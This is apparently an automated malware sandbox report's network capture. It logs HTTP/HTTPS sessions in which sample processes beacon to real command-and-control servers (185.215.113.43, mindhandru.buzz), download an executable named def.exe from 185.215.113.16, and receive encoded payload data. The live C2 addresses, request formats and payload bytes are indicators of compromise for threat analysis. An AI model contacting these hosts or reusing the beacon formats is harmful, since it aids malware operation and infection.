8	192.168.2.4	49837	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:28.544661999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:01:29.921049118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49844	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:31.558840036 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:01:32.894129038 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49853	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:34.640832901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:01:36.082952976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49863	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:37.717298985 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:01:39.164729118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49871	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:40.903947115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:01:42.336659908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49876	185.215.113.16	80	1344	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:42.797167063 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 09:01:44.136571884 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:43 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Fri, 27 Dec 2024 07:39:36 GMT Connection: keep-alive ETag: "676e59b8-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +s+`Ui`D @ @ @.rsrcD``@.idata f@ricsrhqo)h@otxjrfec T@.taggant@"Z*@
Dec 27, 2024 09:01:44.136595964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:44.136607885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:44.136718988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:44.136766911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:44.136778116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:44.136790037 CET	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:44.136796951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:01:44.136914968 CET	1236	IN	Data Raw: 70 59 c6 71 76 57 1d 08 73 07 1b 21 2d 06 8b 1f 4e f6 8a 6f 70 59 c6 71 76 57 1d c4 72 07 1b 21 2d 06 8b 1f 4e f6 8a 6f 70 59 a6 72 76 57 1d 40 71 07 1b 21 2d 06 8b 1f 4e f6 8a 6f 70 59 a6 72 76 57 1d da 71 07 1b 21 ad 02 8b 1f 4e f6 8a 6f 70 59 Data Ascii: pYqvWs!-NopYqvWr!-NopYrvW@q!-NopYrvWq!NopYrvWq!NopYrvWq!NopUeovFwovovovyovyovovouWUyLI<94pvovovU_]f-\_cRovtvkov{ov(ovovov(<#$n)#ovGov/ov(>Bvou
Dec 27, 2024 09:01:44.136925936 CET	1236	IN	Data Raw: 76 07 8b 6f 76 87 8b 00 57 ca 8f 3d 75 0c 8b 6f 76 07 8b ef 76 76 6b 04 73 35 8a 82 76 07 8b 6f 76 87 8b 00 57 22 83 0f 75 f4 8a 17 56 07 8b 6f 76 76 8b b4 71 59 8a 52 76 8f 6b 6f 76 07 8b 00 77 97 8f 21 75 28 8b 8f 56 07 8b 6f 76 76 8b 93 6e 59 Data Ascii: vovW=uovvvks5vovW"uVovvqYRvkovw!u(VovvnYRv3jovwS!u(Uovv,rURvmovw*u#TovvmYVvcoov~uv$oVovpv,ovlrv(ovlqpvovjrqvXovMqqvqov,lpv@ov3qrvjoV
Dec 27, 2024 09:01:44.256422043 CET	1236	IN	Data Raw: 76 07 8b 6f 76 07 2a 13 20 66 1b 18 63 19 8b 3c 0d 68 1d 1e 23 6c 31 23 48 34 22 1d 63 19 8b 6b 29 6c 2f 24 0a 62 59 6f 27 57 2e 1d 43 62 1d 25 0d 68 2e 30 76 33 48 3a 31 4d 38 41 31 46 4f 6f 43 33 4a 3d 32 46 3d 33 37 39 42 36 2e 33 3c 4e 44 42 Data Ascii: vov* fc<h#l1#H4"ck)l/$bYo'W.Cb%h.0v3H:1M8A1FOoC3J=2F=379B6.3<NDBJ3vMNC4NI35COoCB=E-HNN2N<04KN3v8?0(CJA2<=8/O?B79N@AN=42<27JJ=5DNA7H=453NNCB=E-HNoCH8<5MJ61984(2F4DF?478NA@NL4vOJA24JA17=>0NG43OJ=/B?59J<3OJ=/BB18<8'ML75MP4v8N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49878	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:44.061700106 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:01:45.584997892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49887	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:47.328048944 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:01:48.714696884 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49895	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:50.341747999 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 27, 2024 09:01:51.783154964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49901	185.215.113.43	80	4336	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 09:01:53.925057888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 09:01:55.234143972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:01:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	172.67.165.185	443	6968	C:\Users\user\Desktop\LIWYEYWSOj.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:59:52 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 07:59:52 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 07:59:53 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:59:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a13f99o6hv98oaopdehq4kc2uh; expires=Tue, 22 Apr 2025 01:46:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JN%2BeNOcZgu2xC6el%2BTZdh8m0hMDUAvjfEuWGolqhOD6LAZJ%2BUY2VPEvSE0mEAALC8U9V%2FnGrBYjZeD7YjaMhh1cFJBVCRqvMN6Kj5IbZFrbnAkXy3fGR00v63y2c0NtChTs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c61269b83314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&min_rtt=1784&rtt_var=892&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4214&recv_bytes=906&delivery_rate=50377&cwnd=212&unsent_bytes=0&cid=b856a0d9b2e2d16c&ts=816&x=0"
2024-12-27 07:59:53 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 07:59:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	172.67.165.185	443	6968	C:\Users\user\Desktop\LIWYEYWSOj.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:59:54 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-27 07:59:54 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-27 07:59:55 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:59:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mk0evv6s78nn1g5urtntlh6o45; expires=Tue, 22 Apr 2025 01:46:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qJc8YkiFU%2B0p8sWaWvaRW%2BK31ddjIWt1dG9NwFz4%2BUNQMsjmzeGcc2tWkQ4W8%2FoAkCmhyvU3NPYJrelrITfj1bwJpBDuFw7wQO%2F9c4W6MYemSpsATzB7qysIfhnGzmGPlTY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c61f1e6142ab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1771&rtt_var=672&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=946&delivery_rate=1619523&cwnd=199&unsent_bytes=0&cid=763bfd66426c59ab&ts=771&x=0"
2024-12-27 07:59:55 UTC	242	IN	Data Raw: 31 63 61 65 0d 0a 46 44 64 36 44 47 4d 50 55 37 42 79 6b 78 6b 63 36 63 70 2f 59 66 4e 45 76 5a 4a 69 6b 5a 45 77 4a 32 59 6b 69 46 66 42 66 6b 4e 76 46 51 77 75 57 54 74 2f 6b 67 48 32 4f 79 61 64 75 41 6f 45 33 32 62 63 39 6b 43 72 39 31 46 4c 46 55 47 6b 64 62 63 54 59 53 35 52 47 32 41 51 61 6e 2b 53 46 2b 73 37 4a 72 4b 78 58 51 53 64 5a 6f 65 77 42 2f 76 7a 55 55 73 45 52 65 4d 34 73 52 49 67 66 46 73 64 5a 41 5a 73 4e 39 45 65 2f 6e 78 35 6a 4b 73 56 44 35 6f 70 31 66 39 41 76 62 4e 56 58 55 51 65 71 68 71 6b 43 69 4a 5a 56 67 6c 6e 51 58 4a 2f 79 31 44 32 64 7a 37 54 36 42 34 45 6b 53 6a 62 39 67 6e 35 2b 56 68 44 42 55 44 69 4a 36 67 59 4b 33 78 56 48 6d 55 4d 5a 53 50 63 46 50 6c 33 66 34 61 72 58 55 33 52 Data Ascii: 1caeFDd6DGMPU7Bykxkc6cp/YfNEvZJikZEwJ2YkiFfBfkNvFQwuWTt/kgH2OyaduAoE32bc9kCr91FLFUGkdbcTYS5RG2AQan+SF+s7JrKxXQSdZoewB/vzUUsEReM4sRIgfFsdZAZsN9Ee/nx5jKsVD5op1f9AvbNVXUQeqhqkCiJZVglnQXJ/y1D2dz7T6B4EkSjb9gn5+VhDBUDiJ6gYK3xVHmUMZSPcFPl3f4arXU3R
2024-12-27 07:59:55 UTC	1369	IN	Data Raw: 49 63 65 77 57 4c 4f 67 59 45 59 56 56 2f 38 34 73 78 70 68 61 52 73 42 4c 67 5a 68 63 59 70 51 2b 58 64 77 6a 71 73 53 42 4a 41 6d 7a 66 38 41 38 50 74 61 51 51 35 4a 35 54 71 74 46 69 5a 2b 58 42 39 68 42 6d 55 33 33 52 4f 78 4e 54 36 4d 73 46 31 62 30 51 62 50 38 77 50 6e 2f 6b 4d 46 47 77 6a 7a 64 61 51 51 59 53 34 56 48 6d 41 41 59 44 48 41 47 50 70 77 65 35 6d 6a 46 41 36 63 4a 74 4c 36 44 2f 44 7a 56 55 38 4f 53 65 41 78 72 68 45 6e 64 6c 56 59 49 45 46 71 4b 5a 4a 49 73 56 68 37 6d 36 38 52 46 64 4d 63 6e 2b 39 4f 36 72 4e 56 53 55 51 65 71 6a 32 6d 48 79 4a 39 57 68 74 6d 43 6e 38 78 77 42 62 38 66 6d 79 4e 72 52 4d 4a 6b 6a 54 56 2f 67 62 77 2b 6c 6c 4d 41 55 48 75 64 65 31 63 4a 6d 34 56 51 43 34 67 59 44 72 65 47 75 5a 37 50 70 54 6d 42 45 4f Data Ascii: IcewWLOgYEYVV/84sxphaRsBLgZhcYpQ+XdwjqsSBJAmzf8A8PtaQQ5J5TqtFiZ+XB9hBmU33ROxNT6MsF1b0QbP8wPn/kMFGwjzdaQQYS4VHmAAYDHAGPpwe5mjFA6cJtL6D/DzVU8OSeAxrhEndlVYIEFqKZJIsVh7m68RFdMcn+9O6rNVSUQeqj2mHyJ9WhtmCn8xwBb8fmyNrRMJkjTV/gbw+llMAUHude1cJm4VQC4gYDreGuZ7PpTmBEO
2024-12-27 07:59:55 UTC	1369	IN	Data Raw: 67 62 38 2f 6c 34 46 53 67 62 74 4c 65 4e 45 59 56 78 57 44 47 30 4c 4c 77 54 52 48 76 39 38 61 4d 75 33 55 78 72 52 49 64 4f 77 57 4c 50 2b 55 30 30 43 56 4f 55 34 6f 42 49 76 65 56 41 58 5a 67 46 74 50 4e 63 55 2b 6e 42 39 68 71 77 50 43 5a 45 75 32 76 45 4b 2b 62 4d 63 42 51 4e 65 71 6d 33 6a 4c 54 5a 39 46 79 31 74 44 32 4d 32 78 46 44 75 4e 57 66 4c 72 78 46 44 79 57 62 53 2b 41 58 32 2f 46 4e 50 43 6b 50 67 4f 61 73 53 49 6d 52 61 48 47 34 4e 5a 54 76 66 48 76 56 7a 64 34 43 6a 47 77 4f 51 4c 4a 2b 2b 51 50 54 72 45 68 31 45 63 75 30 35 72 68 4e 6a 51 31 59 57 59 41 5a 37 63 63 31 65 36 44 74 35 68 2b 68 46 51 35 30 76 33 2f 73 4b 39 2f 4e 56 53 41 46 46 37 54 61 75 47 79 74 34 55 68 78 69 43 47 41 33 30 68 66 31 66 6d 79 4f 6f 52 45 50 30 57 69 66 Data Ascii: gb8/l4FSgbtLeNEYVxWDG0LLwTRHv98aMu3UxrRIdOwWLP+U00CVOU4oBIveVAXZgFtPNcU+nB9hqwPCZEu2vEK+bMcBQNeqm3jLTZ9Fy1tD2M2xFDuNWfLrxFDyWbS+AX2/FNPCkPgOasSImRaHG4NZTvfHvVzd4CjGwOQLJ++QPTrEh1Ecu05rhNjQ1YWYAZ7cc1e6Dt5h+hFQ50v3/sK9/NVSAFF7TauGyt4UhxiCGA30hf1fmyOoREP0Wif
2024-12-27 07:59:55 UTC	1369	IN	Data Raw: 31 4c 42 51 4e 4b 71 6d 33 6a 46 53 68 6b 57 78 5a 6e 44 47 73 35 31 52 37 38 63 48 69 41 72 78 6f 46 6e 43 37 53 39 51 50 79 39 31 68 58 42 30 33 67 4f 4b 6c 63 62 7a 5a 53 41 43 35 5a 4c 52 62 65 4f 65 46 67 62 4a 33 6f 41 6b 32 49 5a 74 6a 38 51 4b 75 7a 55 55 6f 4e 53 65 49 39 72 42 4d 6c 65 46 4d 65 59 77 52 69 4f 38 41 59 2f 33 5a 31 68 4b 4d 50 41 35 77 69 30 2f 51 49 2b 50 6b 53 43 30 52 42 38 6e 58 37 58 42 52 37 57 68 68 74 46 79 30 75 6e 41 6d 78 66 48 4c 4c 38 46 30 50 6e 79 62 51 2f 41 7a 34 2b 31 4e 4a 43 6b 48 76 50 4b 73 55 4d 33 64 52 45 47 38 50 59 6a 44 57 46 66 52 2f 65 59 2b 75 45 6b 50 66 5a 74 6a 6f 51 4b 75 7a 66 57 49 78 42 4d 73 50 34 77 4e 76 62 78 55 66 59 6b 45 31 63 64 34 54 2f 58 4e 78 6a 61 45 52 43 5a 67 74 30 2f 73 45 2f Data Ascii: 